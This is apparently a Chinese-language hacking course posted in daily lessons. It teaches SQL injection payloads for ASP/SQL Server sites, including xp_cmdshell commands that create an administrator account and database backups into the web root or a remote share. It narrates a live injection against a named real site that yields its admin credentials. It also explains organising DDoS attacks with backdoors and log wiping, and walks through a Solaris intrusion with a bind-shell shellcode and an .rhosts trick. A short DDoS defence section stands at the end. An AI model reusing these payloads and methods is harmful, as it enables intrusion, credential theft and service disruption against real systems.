第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
好了,今天写了这么多有点累了
大家自己看看吧 我想应该可以把你这几天学的关于SQL注入的种种东西作个总结吧。头脑中应该有个清晰的认识了吧
明天我们将说如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?
明天见
忘了
想再强调一点 『特征字符的用法』
我们在注入的时候,通常是在网址后面加 and 1=1和 and 1=2去测试网址是否能注入
如果可以注入,一般有下面两种情况:
A. and 1=1正常, and 1=2报HTTP错误,这种情况,NBSI可以自动做出判断,无需输入特征字符
B. and 1=1正常, and 1=2提示"找不到此记录"之类的提示,但不报HTTP错误,这时,就需要我们输入一个"特征字符",来帮助程序识别所传入的SQL语句执行结果是True还是False
简单的说,"特征字符"就是 and 1=1页面中包含有而 and 1=2页面中不包含有的字符串.
『第22天』SQL注入攻击继续深化
利用系统表注入SQLServer数据库‘
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③ http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。
二
有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。
在前面的SQL一般注入中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
三 经典中的经典
经验小结
1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
『第23天』SQL注入黑客防线网站实例分析
以下为全文转载
今天到黑防站上去看看文章,可能出于“职业”习惯,看到?classid=1之类的东东就不由自主的想加点什么参数进去。
当在页面http://www.hacker.com.cn/article/index.asp?classid=3&Nclassid=13加上①and 1=1和②and 1=2,都提示“处理 URL 时服务器上出错。请和系统管理员联络”,看起来象已经过滤了非法提交,IIS也关闭了错误提示,再加上一个③单引号’的时候,也出同样的错误提示,然而明显与前两个错误提示不同,因为前者显示了黑客防线的Logo才提示错误,后者则是一个空白的错误提示页。
这可是我从来没碰到过的特殊情况,到底能不能注入呢?
换个角度,从程序员的思路是怎么写这段程序的。首先,如果是用cint之类函数,那三种测试方法错误提示应该是完全一样的;如果没过滤的话,①②的结果应该是不一样的。排除了几种情况,最后觉得极可能是部分语句过滤,出现这种情况很可能是cint语句不小心放到SQL语句的后面,在SQL语句通过后,后面的语句报错。
虽然还不很确定实际的程序是怎么写的,但可以确定,这确实是一个注入点!
根据我写的《SQL注入漏洞全接触》,下一步就是判断数据库类型,因为错误提示都被屏蔽,只能通过系统表测试了,输入:
http://www.hacker.com.cn/article/index.asp?classid=1 and (Select count(1) from sysobjects)>=0
提示出错,没出现Logo,说明是语句本身有错,极可能是表sysobjects不存在,也就是说数据库是Access,再拿一个Access应有的系统表试试(msysobjects在这个时候派不上用场,因为在Web下没有权限读取,SQL语句同样不能通过,所以,必须换个有权限的表如MSysAccessObjects),果然,出现了黑防的Logo,证实数据库确实是Access。
接下来的猜解就比较简单了,用(count(1) from admin)>=0测试出admin表存在,表中有username、password字段。本来以为下面就是用最普通的Ascii解码法猜解记录,小Case,没想到,一开始猜解,才发现这是最难啃的一块骨头:传统的Ascii对比中,无论条件是否成立,语句都是可以正确执行的,它是利用ASP的出错而非SQL语句的出错来发现错误的,在这个页面,不管你成不成立,都是显示一个Logo然后报错,根据无法做出判断。
冥思苦想了半个钟头,终于想出一种方法,让SQL语句有条件的报错,先看看语句:
http://www.hacker.com.cn/article/index.asp?classid=1 and
(select top 1 iif(asc(mid(username,1,1))>96,1,username) from admin)>0
写出这个语句的时候,连我自己都好崇拜我自己,哈哈,别吐,解释一下,asc(mid(username,1,1))这个都看得懂,取username第一位的ASCII码,大于96的话,select出数字1,小于等于96的话,select输出字符串username,然后,拿select出的值与0比较。
1与0都是数字型,当ASCII码大于96的时候,SQL语句不会出错;username则是字符型,当ASCII码小于等于96的时候,SQL语句会出错。所以,两种情况的出错提示是不同的,我们可以根据出错提示判断语句是否成立,从而逐步缩小每一位字符的范围,得出username的值。
于是,根据上面所说的方法,得出username的值为:chr(98)+ chr(114)+ chr(105)+ chr(103)+ chr(104)+ chr(116)=bright,password的值为chr(109)+ chr(105)+ chr(110)+ chr(103)+ chr(116)+ chr(105) + chr(97)+ chr(110)=mingtian,解码完成。
[第24天]DDOS攻击
今天我们来说说 DDOS 攻击 这里我不准备提供任何工具的下载地址 因为我反对不聊的攻击 如果你攻击反华网站还差不多
其实在前几天我总结过网络攻击的几种形式(详见:http://www.91one.net/dvbbs/dispbbs.asp?boardID=16&ID=698) 也就几种:1。务拒绝攻击------死亡之ping (ping of death) 泪滴(teardrop) UDP洪水(UDP flood)
SYN洪水(SYN flood)--现在最流行的DDOS攻击的一种
Land攻击 Smurf攻击 Fraggle攻击 电子邮件炸弹畸形消息攻击
2。利用型攻击
3。信息收集型攻击
4。假消息攻击
这里我就不详细说明了 大家可以参考上篇文章
当然DDOS是属于网络攻击里的 我是这么理解的 有的人把网络攻击和DDOS攻击连同是 不对的 虽然现在主要是才用DDOS 但也不能“抹杀”其他一些攻击方式的辉煌啊
要想理解DDoS的概念,我们就必须先介绍一下DoS(拒绝服务),DoS的英文全称是Denial of Service,也就是“拒绝服务”的意思。从网络攻击的各种方法和所产生的破坏情况来看,DoS算是一种很简单但又很有效的进攻方式。它的目的就是拒绝你的服务访问,破坏组织的正常运行,最终它会使你的部分Internet连接和网络系统失效。DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务。DoS攻击的原理如图1所示。
从图1我们可以看出DoS攻击的基本过程:首先攻击者向服务器发送众多的带有虚假地址的请求,服务器发送回复信息后等待回传信息,由于地址是伪造的,所以服务器一直等不到回传的消息,分配给这次请求的资源就始终没有被释放。当服务器等待一定的时间后,连接会因超时而被切断,攻击者会再度传送新的一批请求,在这种反复发送伪地址请求的情况下,服务器资源最终会被耗尽。
DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。
这时侯分布式的拒绝服务攻击手段(DDoS)就应运而生了。你理解了DoS攻击的话,它的原理就很简单。如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。
高速广泛连接的网络给大家带来了方便,也为DDoS攻击创造了极为有利的条件。在低速网络时代时,黑客占领攻击用的傀儡机时,总是会优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。而现在电信骨干节点之间的连接都是以G为级别的,大城市之间更可以达到2.5G的连接,这使得攻击可以从更远的地方或者其他城市发起,攻击者的傀儡机位置可以在分布在更大的范围,选择起来更灵活了。
被DDoS攻击时的现象
被攻击主机上有大量等待的TCP连接
网络中充斥着大量的无用的数据包,源地址为假
制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯
利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求
严重时会造成系统死机
攻击运行原理
如图,一个比较完善的DDoS攻击体系分成四大部分,先来看一下最重要的第2和第3部分:它们分别用做控制和实际发起攻击。请注意控制机与攻击机的区别,对第4部分的受害者来说,DDoS的实际攻击包是从第3部分攻击傀儡机上发出的,第2部分的控制机只发布命令而不参与实际的攻击。对第2和第3部分计算机,黑客有控制权或者是部分的控制权,并把相应的DDoS程序上传到这些平台上,这些程序与正常的程序一样运行并等待来自黑客的指令,通常它还会利用各种手段隐藏自己不被别人发现。在平时,这些傀儡机器并没有什么异常,只是一旦黑客连接到它们进行控制,并发出指令的时候,攻击傀儡机就成为害人者去发起攻击了。
有的朋友也许会问道:"为什么黑客不直接去控制攻击傀儡机,而要从控制傀儡机上转一下呢?"。这就是导致DDoS攻击难以追查的原因之一了。做为攻击者的角度来说,肯定不愿意被捉到,而攻击者使用的傀儡机越多,他实际上提供给受害者的分析依据就越多。在占领一台机器后,高水平的攻击者会首先做两件事:1. 考虑如何留好后门(我以后还要回来的哦)!2. 如何清理日志。这就是擦掉脚印,不让自己做的事被别人查觉到。比较不敬业的黑客会不管三七二十一把日志全都删掉,但这样的话网管员发现日志都没了就会知道有人干了坏事了,顶多无法再从日志发现是谁干的而已。相反,真正的好手会挑有关自己的日志项目删掉,让人看不到异常的情况。这样可以长时间地利用傀儡机。
但是在第3部分攻击傀儡机上清理日志实在是一项庞大的工程,即使在有很好的日志清理工具的帮助下,黑客也是对这个任务很头痛的。这就导致了有些攻击机弄得不是很干净,通过它上面的线索找到了控制它的上一级计算机,这上级的计算机如果是黑客自己的机器,那么他就会被揪出来了。但如果这是控制用的傀儡机的话,黑客自身还是安全的。控制傀儡机的数目相对很少,一般一台就可以控制几十台攻击机,清理一台计算机的日志对黑客来讲就轻松多了,这样从控制机再找到黑客的可能性也大大降低。
如何组织一次DDoS攻击的?
这里用"组织"这个词,是因为DDoS并不象入侵一台主机那样简单。一般来说,黑客进行DDoS攻击时会经过这样的步骤:
1. 搜集了解目标的情况
下列情况是黑客非常关心的情报:
被攻击目标主机数目、地址情况
目标主机的配置、性能
目标的带宽
对于DDoS攻击者来说,攻击互联网上的某个站点,如http://www.WWWW.com,有一个重点就是确定到底有多少台主机在支持这个站点,一个大的网站可能有很多台主机利用负载均衡技术提供同一个网站的www服务。以yahoo为例,一般会有下列地址都是提供http://www.WWW.com服务的:
66.218.71.87
66.218.71.88
66.218.71.89
66.218.71.80
66.218.71.81
66.218.71.83
66.218.71.84
66.218.71.86
如果要进行DDoS攻击的话,应该攻击哪一个地址呢?使66.218.71.87这台机器瘫掉,但其他的主机还是能向外提供www服务,所以想让别人访问不到http://www.WWW.com的话,要所有这些IP地址的机器都瘫掉才行。在实际的应用中,一个IP地址往往还代表着数台机器:网站维护者使用了四层或七层交换机来做负载均衡,把对一个IP地址的访问以特定的算法分配到下属的每个主机上去。这时对于DDoS攻击者来说情况就更复杂了,他面对的任务可能是让几十台主机的服务都不正常。
所以说事先搜集情报对DDoS攻击者来说是非常重要的,这关系到使用多少台傀儡机才能达到效果的问题。简单地考虑一下,在相同的条件下,攻击同一站点的2台主机需要2台傀儡机的话,攻击5台主机可能就需要5台以上的傀儡机。有人说做攻击的傀儡机越多越好,不管你有多少台主机我都用尽量多的傀儡机来攻就是了,反正傀儡机超过了时候效果更好。
但在实际过程中,有很多黑客并不进行情报的搜集而直接进行DDoS的攻击,这时候攻击的盲目性就很大了,效果如何也要*运气。其实做黑客也象网管员一样,是不能偷懒的。一件事做得好与坏,态度最重要,水平还在其次。
2. 占领傀儡机
黑客最感兴趣的是有下列情况的主机:
链路状态好的主机
性能好的主机
安全管理水平差的主机
这一部分实际上是使用了另一大类的攻击手段:利用形攻击。这是和DDoS并列的攻击方式。简单地说,就是占领和控制被攻击的主机。取得最高的管理权限,或者至少得到一个有权限完成DDoS攻击任务的帐号。对于一个DDoS攻击者来说,准备好一定数量的傀儡机是一个必要的条件,下面说一下他是如何攻击并占领它们的。
首先,黑客做的工作一般是扫描,随机地或者是有针对性地利用扫描器去发现互联网上那些有漏洞的机器,象程序的溢出漏洞、cgi、Unicode、ftp、数据库漏洞…(简直举不胜举啊),都是黑客希望看到的扫描结果。随后就是尝试入侵了,具体的手段就不在这里多说了,感兴趣的话网上有很多关于这些内容的文章。
总之黑客现在占领了一台傀儡机了!然后他做什么呢?除了上面说过留后门擦脚印这些基本工作之外,他会把DDoS攻击用的程序上载过去,一般是利用ftp。在攻击机上,会有一个DDoS的发包程序,黑客就是利用它来向受害目标发送恶意攻击包的。
3. 实际攻击
经过前2个阶段的精心准备之后,黑客就开始瞄准目标准备发射了。前面的准备做得好的话,实际攻击过程反而是比较简单的。就象图示里的那样,黑客登录到做为控制台的傀儡机,向所有的攻击机发出命令:"预备~ ,瞄准~,开火!"。这时候埋伏在攻击机中的DDoS攻击程序就会响应控制台的命令,一起向受害主机以高速度发送大量的数据包,导致它死机或是无法响应正常的请求。黑客一般会以远远超出受害方处理能力的速度进行攻击,他们不会"怜香惜玉"。
老到的攻击者一边攻击,还会用各种手段来监视攻击的效果,在需要的时候进行一些调整。简单些就是开个窗口不断地ping目标主机,在能接到回应的时候就再加大一些流量或是再命令更多的傀儡机来加入攻击。
下面我们再详细说说SYN Flood攻击
SYN-Flood是目前最流行的DDoS攻击手段,早先的DoS的手段在向分布式这一阶段发展的时候也经历了浪里淘沙的过程。SYN-Flood的攻击效果最好,应该是众黑客不约而同选择它的原因吧。那么我们一起来看看SYN-Flood的详细情况。
Syn Flood原理 - 三次握手
Syn Flood利用了TCP/IP协议的固有漏洞。面向连接的TCP三次握手是Syn Flood存在的基础。
TCP连接的三次握手
如图,在第一步中,客户端向服务端提出连接请求。这时TCP SYN标志置位。客户端告诉服务端序列号区域合法,需要检查。客户端在TCP报头的序列号区中插入自己的ISN。服务端收到该TCP分段后,在第二步以自己的ISN回应(SYN标志置位),同时确认收到客户端的第一个TCP分段(ACK标志置位)。在第三步中,客户端确认收到服务端的ISN(ACK标志置位)。到此为止建立完整的TCP连接,开始全双工模式的数据传输过程。
Syn Flood攻击者不会完成三次握手
假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称做:服务器端受到了SYN Flood攻击(SYN洪水攻击)。
下面我们来分析一下这些经典的黑客程序。
1、Trinoo
Trinoo的攻击方法是向被攻击目标主机的随机端口发出全零的4字节UDP包,在处理这些超出其处理能力的垃圾数据包的过程中,被攻击主机的网络性能不断下降,直到不能提供正常服务,乃至崩溃。它对IP地址不做假,采用的通讯端口是:
攻击者主机到主控端主机:27665/TCP
主控端主机到代理端主机:27444/UDP
代理端主机到主服务器主机:31335/UDP
2、TFN
TFN由主控端程序和代理端程序两部分组成,它主要采取的攻击方法为:SYN风暴、Ping风暴、UDP炸弹和SMURF,具有伪造数据包的能力。
3、TFN2K
TFN2K是由TFN发展而来的,在TFN所具有的特性上,TFN2K又新增一些特性,它的主控端和代理端的网络通讯是经过加密的,中间还可能混杂了许多虚假数据包,而TFN对ICMP的通讯没有加密。攻击方法增加了Mix和Targa3。并且TFN2K可配置的代理端进程端口。
4、Stacheldraht
Stacheldraht也是从TFN派生出来的,因此它具有TFN的特性。此外它增加了主控端与代理端的加密通讯能力,它对命令源作假,可以防范一些路由器的RFC2267过滤。Stacheldrah中有一个内嵌的代理升级模块,可以自动下载并安装最新的代理程序。
DDoS的监测
检测DDoS攻击的主要方法有以下几种:
1、根据异常情况分析
当网络的通讯量突然急剧增长,超过平常的极限值时,你可一定要提高警惕,检测此时的通讯;当网站的某一特定服务总是失败时,你也要多加注意;当发现有特大型的ICP和UDP数据包通过或数据包内容可疑时都要留神。总之,当你的机器出现异常情况时,你最好分析这些情况,防患于未然。
2、使用DDoS检测工具
当攻击者想使其攻击阴谋得逞时,他首先要扫描系统漏洞,目前市面上的一些网络入侵检测系统,可以杜绝攻击者的扫描行为。另外,一些扫描器工具可以发现攻击者植入系统的代理程序,并可以把它从系统中删除。
DDoS的防范
到目前为止,进行DDoS攻击的防御还是比较困难的。首先,这种攻击的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS攻击。一位资深的安全专家给了个形象的比喻:DDoS就好象有1,000个人同时给你家里打电话,这时候你的朋友还打得进来吗?
不过即使它难于防范,也不是说我们就应该逆来顺受,实际上防止DDoS并不是绝对不可行的事情。互联网的使用者是各种各样的,与DDoS做斗争,不同的角色有不同的任务。我们以下面几种角色为例:
企业网管理员
ISP、ICP管理员
骨干网络运营商
企业网管理员
网管员做为一个企业内部网的管理者,往往也是安全员、守护神。在他维护的网络中有一些服务器需要向外提供WWW服务,因而不可避免地成为DDoS的攻击目标,他该如何做呢?可以从主机与网络设备两个角度去考虑。
主机上的设置
几乎所有的主机平台都有抵御DoS的设置,总结一下,基本的有几种:
关闭不必要的服务
限制同时打开的Syn半连接数目
缩短Syn半连接的time out 时间
及时更新系统补丁
网络设备上的设置
企业网的网络设备可以从防火墙与路由器上考虑。这两个设备是到外界的接口设备,在进行防DDoS设置的同时,要注意一下这是以多大的效率牺牲为代价的,对你来说是否值得。
1.防火墙
禁止对主机的非开放服务的访问
限制同时打开的SYN最大连接数
限制特定IP地址的访问
启用防火墙的防DDoS的属性
严格限制对外开放的服务器的向外访问
第五项主要是防止自己的服务器被当做工具去害人。
2.路由器
以Cisco路由器为例
Cisco Express Forwarding(CEF)
使用 unicast reverse-path
访问控制列表(ACL)过滤
设置SYN数据包流量速率
升级版本过低的ISO
为路由器建立log server
其中使用CEF和Unicast设置时要特别注意,使用不当会造成路由器工作效率严重下降,升级IOS也应谨慎。路由器是网络的核心设备,与大家分享一下进行设置修改时的小经验,就是先不保存。Cisco路由器有两份配置startup config和running config,修改的时候改变的是running config,可以让这个配置先跑一段时间(三五天的就随意啦),觉得可行后再保存配置到startup config;而如果不满意想恢复原来的配置,用copy start run就行了。
ISP / ICP管理员
ISP / ICP为很多中小型企业提供了各种规模的主机托管业务,所以在防DDoS时,除了与企业网管理员一样的手段外,还要特别注意自己管理范围内的客户托管主机不要成为傀儡机。客观上说,这些托管主机的安全性普遍是很差的,有的连基本的补丁都没有打就赤膊上阵了,成为黑客最喜欢的"肉鸡",因为不管这台机器黑客怎么用都不会有被发现的危险,它的安全管理太差了;还不必说托管的主机都是高性能、高带宽的-简直就是为DDoS定制的。而做为ISP的管理员,对托管主机是没有直接管理的权力的,只能通知让客户来处理。在实际情况时,有很多客户与自己的托管主机服务商配合得不是很好,造成ISP管理员明知自己负责的一台托管主机成为了傀儡机,却没有什么办法的局面。而托管业务又是买方市场,ISP还不敢得罪客户,怎么办?咱们管理员和客户搞好关系吧,没办法,谁让人家是上帝呢?呵呵,客户多配合一些,ISP的主机更安全一些,被别人告状的可能性也小一些。
骨干网络运营商
这个我们就不说了
因为我们都不是骨干运营商
『第26天』Sunos (一)
今天我想给大家介绍的是Sunos 。 Sunos是一个非常好的Unix操作系统,功能强大。很多大型公司都采用此系统作为服务器系统。(例如:sina、163等。)至于它的漏洞,也是多不胜数的了。今天我就介绍一下这个系统的漏洞。
Unix:Unix操作系统自70年代由贝尔实验室推出以来,80年代经过大学、研究所、工业实验室的应用和发展,现已成为全球各大学、研究所及工业研究室、计算机网络通信、工作站系统的主流工具,并开始进入商业市场和个人电脑领域。尤其是美国在1994年率先提出信息高速公路(Information Super Highway)的构想,更UNIX的发展应用推波助澜。到目前为止UNIX用户已经达到200万户,其成长速度之惊人,前所未有。UNIX提供多用户、多任务的操作环境,其网络工具使计算机远程通信、并行处理、资源分配等有了更广阔的应用前景。尤其是它的X Window系统函盖了传统的DOS命令行和视窗系统的优点。
Solaris与Sunos的版本转换:
Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 = Sunos 5.6,Solaris 2.5 = Sunos 5.5……
因为自Sunos 5以后,就叫Solaris了。
Solaris也有分服务器版和个人版,它们分别是:
服务器版:sparc
个人版:x86
通常个人是不会安装Solaris的。
Solaris主要的漏洞有:
远程漏洞:
RPC:
rpc.ttdbserverd :Solaris 2.3,2.4, 2.5, 2.5.1, 2.6
rpc.cmsd:Solaris 2.5, 2.5.1, 2.6, 7
其他:
sadmind:solaris 2.6, 7
snmpXdmid:Solaris 7, 8
本地漏洞:
lpset:Solaris 2.6,7
本次范例需要的系统及程序情况如下:
操作系统:Window2000
对方操作系统:Sunos 5.7 (solaris 7)
程序(一):lpset.c
程序(二):Superscan 3.0
程序(二):wipe-1.00
本机IP:127.0.0.1
测试IP:127.0.0.17
新程序说明:
“lpset.c”是利用solaris 7和solaris 2.6的/usr/bin/lpset -a 缓冲区溢出漏洞所写的一个exploit。
Solaris 7 lpset -a 缓冲区溢出漏洞
Solaris 2.6和Solaris 7中所带的lpset缺省设置了suid root位,它的一个执行选项"-a"在处
理时存在问题,它会将提供给"-a"的参数不加判断的拷贝到一个固定大小的buffer(900多字节)
中,当用户提供一个包含可执行代码的很长的字符串时,将导致lpset以root身份执行任意命令。
尽管lpset缺省只允许root和sysadm组的用户执行,但是,由于溢出发生在进行执行权限判断操
作之前,任意本地用户都可以利用这个漏洞获取root权限。
wipe-1.00:unix和liunx下,一个非常好用的日志清除程序。
新名词讲解:
肉鸡:已经被攻击了,具有控制权的主机。
跳板:利用此主机作跳板,攻击其他主机。
shell:shell是系统与用户的交换式界面。简单来说,就是系统与用户的“沟通”环境。我们平时经常用到的DOS,就是一个shell。(Windows2000是cmd.exe)
root:Unix里最高权限的用户。也就是超级管理员。
admin:Windows NT里最高权限的用户。也就是超级管理员。
rootshell:通过一个溢出程序,在主机溢出一个具有root权限的shell。
exploit:溢出程序。exploit里通常包含一些shellcode。
shellcode:溢出攻击要调用API函数,溢出后要有一个交换式界面进行操作。所以就有了shell的code。
char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
这就是一个shellcode。
找一个Unix主机也是一种技巧。
1、首先,我们打开superscan。
设置:
IP:(需要扫描的IP地址。)
Start:127.0.0.1
Stop:127.0.0.255
Scan Type:(扫描类型设置。)
All ports from:23|23
然后,点击“Start”,开始扫描。
2、点击“Prune”,把多余的主机删除。
3、点击“Expand All”,把所有扫描到的主机打开。这时,在端口下面就会显示一些信息。这些信息就是端口的响应。
小技巧:
........#..'..$:这种响应,通常是Sunos主机的。
..... ..#..':这种响应,通常是liunx的。
假设,我们扫描到:127.0.0.17。
打开,Windows自带的“命令提示符”。
ping 主机:
主要目的是查看主机是否能连接。
D:\>ping 127.0.0.17
Pinging 127.0.0.17 with 32 bytes of data:
Reply from 127.0.0.17: bytes=32 time=191ms TTL=241
Reply from 127.0.0.17: bytes=32 time=170ms TTL=241
Reply from 127.0.0.17: bytes=32 time=160ms TTL=241
Reply from 127.0.0.17: bytes=32 time=170ms TTL=241
Ping statistics for 127.0.0.17:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 160ms, Maximum = 191ms, Average = 172ms
小技巧:
通常 TTL > 200的,都是liunx或者unix系统。
TTL < 200的,都是Windows 9x或Windows NT系统。
telnet主机:
主要看看telnet的banner。
D:\>telnet 127.0.0.17
SunOS 5.7
login:
solaris 7 的。
接着,我用Superscan扫描主机的端口。
方法:
打开superscan。
设置:
IP:
Start:127.0.0.17
Stop:127.0.0.17
Scan Type:(扫描类型设置。)
All ports from:1|65535
然后,点击“Start”,开始扫描。
扫描完毕后,点击“Expand All”,把所有扫描到的端口打开。
* + 211.99.25.1
|___ 7 Echo
|___ 9 Discard
|___ 13 Daytime
|___ 19 Character Generator
|___ 21 File Transfer Protocol [Control]
|___ 23 Telnet
|___ 25 Simple Mail Transfer
|___ 37 Time
|___ 53 Domain Name Server
|___ 79 Finger
|___ 111 SUN Remote Procedure Call
|___ 512 remote process execution;
|___ 513 remote login a la telnet;
|___ 514 cmd
|___ 515 spooler
|___ 540 uucpd
主要的端口有:21、25、53、79、111、513
其他还有:22、80等
端口的主要漏洞:
21:FTP的端口。主要漏洞是ftpd。如果允许anonymous(匿名)用户,而且具有读写权限,那么那台机子就是你的啦。假如你具有读写权限的用户密码,那就更加容易了。
22:ssh的端口。例如:SSH 3.0的远程登录漏洞等。
25:sendmail的端口。利用它的漏洞,我们可以D.O.S主机。freebsd的8.8.3版本还可以远程溢出rootshell。
53:DNS的端口。主要漏洞是bind。对于bind 8.2的DNS服务器,我们可以利用exploit溢出一个rootshell。
79:finger的端口。在unix和liunx都很有作用。对于Sunos,我们可以 finger 0@***.***.***.*** 刺探用户。对于,liunx可以 finger @***.***.***.*** 刺探当前在线的用户。
80:web的端口。这个端口就是我们平时浏览网站的默认端口。主要的漏洞有CGI漏洞。
111:rpc的端口。rpc漏洞是当今最流行的漏洞之一。每一个漏洞都可以远程溢出rootshell。例如:redhat的rpc.statd,Solaris的rpc.ttdbserverd等。
513:rlogin的端口。你可以向主机发送一条:echo '+ +' >/.rhost 如果成功,就可以不用密码rlogin到主机。
finger主机。
目的是利用finger漏洞寻找主机的用户。(取得主机的用户对入侵主机有很大帮助。)
D:\>finger [email protected]
[127.0.0.17]
Login NameTTYIdle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
chenhy ???pts/7 <Aug 2 15:47> 61.158.255.225
